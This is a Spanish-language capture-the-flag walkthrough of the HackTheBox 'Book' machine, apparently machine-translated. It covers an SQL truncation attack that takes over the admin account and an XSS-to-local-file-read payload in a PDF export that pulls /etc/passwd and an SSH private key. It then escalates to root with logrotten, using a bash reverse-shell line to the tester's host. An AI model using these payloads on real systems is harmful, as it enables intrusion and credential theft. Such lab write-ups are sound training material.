HackTheBox. Libro de tutorial. XSS a LFI a través de PDF y LPE a través de Logrotate



Continúo publicando soluciones enviadas para la finalización de máquinas desde la plataforma HackTheBox .



En este artículo, aprovecharemos XSS para LFI a través de un documento PDF, aumentaremos los privilegios con logrotten y también veremos por qué el registro truncado es vulnerable.



La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.



Información organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.176, que agrego a / etc / hosts.



10.10.10.176	book.htb


En primer lugar, escaneamos los puertos abiertos. Dado que toma mucho tiempo escanear todos los puertos con nmap, primero lo haré usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176     --rate=500






Ahora, para obtener información más detallada sobre los servicios que se ejecutan en los puertos, ejecute un análisis con la opción -A.



nmap -A book.htb -p22,80






El host ejecuta un servicio SSH y un servidor web. Comencemos con la web. Nos saluda la página de inicio de sesión y registro.







Registremos e inicie sesión.







El sitio es una biblioteca con la capacidad de agregar un libro y contactar al administrador.







No hay un vector en estos campos, pero conocemos el correo del administrador. Pasemos por los directorios con gobuster. En los parámetros, especificamos el número de secuencias 128 (-t), URL (-u), diccionario (-w) y extensiones que nos interesan (-x).



gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php






Por lo tanto, encontramos muchas páginas interesantes, incluido el panel de administración. Luego se decidió torcer el formulario de autorización, e inmediatamente encontramos algo interesante en el código fuente.







Es decir, el nombre de usuario no puede tener más de 10 caracteres y la dirección de correo electrónico no puede tener más de 20. Pero la verificación se produce solo en el caso de campos vacíos, sin verificar la longitud.



Punto de entrada



Lo más probable es que estas variables se truncarán a la longitud especificada en el lado del servidor. Vamos a ver. Registremos un usuario cuya dirección de correo electrónico tendrá más de 20 caracteres.







Y luego iniciamos sesión, teniendo en cuenta la dirección truncada.











Como puede ver, la suposición es correcta. Registremos como "admin@book.htb 123" y luego inicie sesión como administrador regular.















Este ataque es posible debido al hecho de que al verificar durante el registro, el valor "admin@book.htb 123" está ausente en la base de datos, después de lo cual se trunca y sobrescribe el existente. Echemos un vistazo al sitio y no encontremos nada interesante excepto la colección.







Después de descargar y abrir documentos PDF, encontraremos una lista de usuarios registrados y colecciones.



USUARIO



Mi experiencia me dijo que cuando tratamos de cargar información en el servidor y mostrarla en PDF, XXS a LFI debe verificarse. Puede hacerlo descargando el siguiente código.



<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
 

Inicie sesión como usuario normal y agregue un archivo a la colección, indicando esta carga en todos los campos.







Ahora descargamos el archivo con la colección del administrador, y encontramos el contenido del archivo / etc / passwd allí.







Leamos la clave SSH privada del usuario lector especificando el archivo "file: ///home/reader/.ssh/id_rsa" en nuestra carga.







Pero al copiar una clave, no se copia todo. Abra este pdf en un navegador, copie el texto y péguelo en un archivo de texto normal, resaltando la primera y la última línea.







Asignemos los derechos a este archivo.



chmod 0600 reader.key


Y nos conectamos a través de SSH.







RAÍZ



Hay una carpeta de copias de seguridad en el directorio de inicio del usuario.











No me dio nada. Ejecute los scripts para la enumeración básica del sistema, tampoco encontramos nada interesante. En este caso, miramos las tareas ejecutables usando pspy64. Y aquí encontramos logrotate, que se ejecuta en nombre de la raíz.







La utilidad Logrotate está diseñada para automatizar el procesamiento de registros. Ella puede realizar las acciones necesarias con ellos dependiendo de ciertas condiciones y reglas de cumplimiento. Por ejemplo, puede comprimir registros en un archivo o enviarlos a otro servidor cuando alcanzan un determinado tamaño, antigüedad u otros parámetros. Y una búsqueda en Google inmediatamente da algo.











Descargue el repositorio y compile el programa.



gcc -o logrotten logrotten.c


Ahora hagamos un archivo con un shell inverso.



echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile


Comencemos logrotten, y en otra ventana de terminal escribiremos en nuestro archivo de registro.



./logrotten -p ./payloadfile /home/reader/backups/access.log 






Podemos observar que el programa funcionó con éxito.







Después de unos segundos, vemos una conexión que se mantiene durante unos segundos. Esto es suficiente para ver la clave privada ssh.







Vamos a conectarnos con esta clave y tomar la bandera.







Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reúnamos una comunidad en la que habrá personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.



All Articles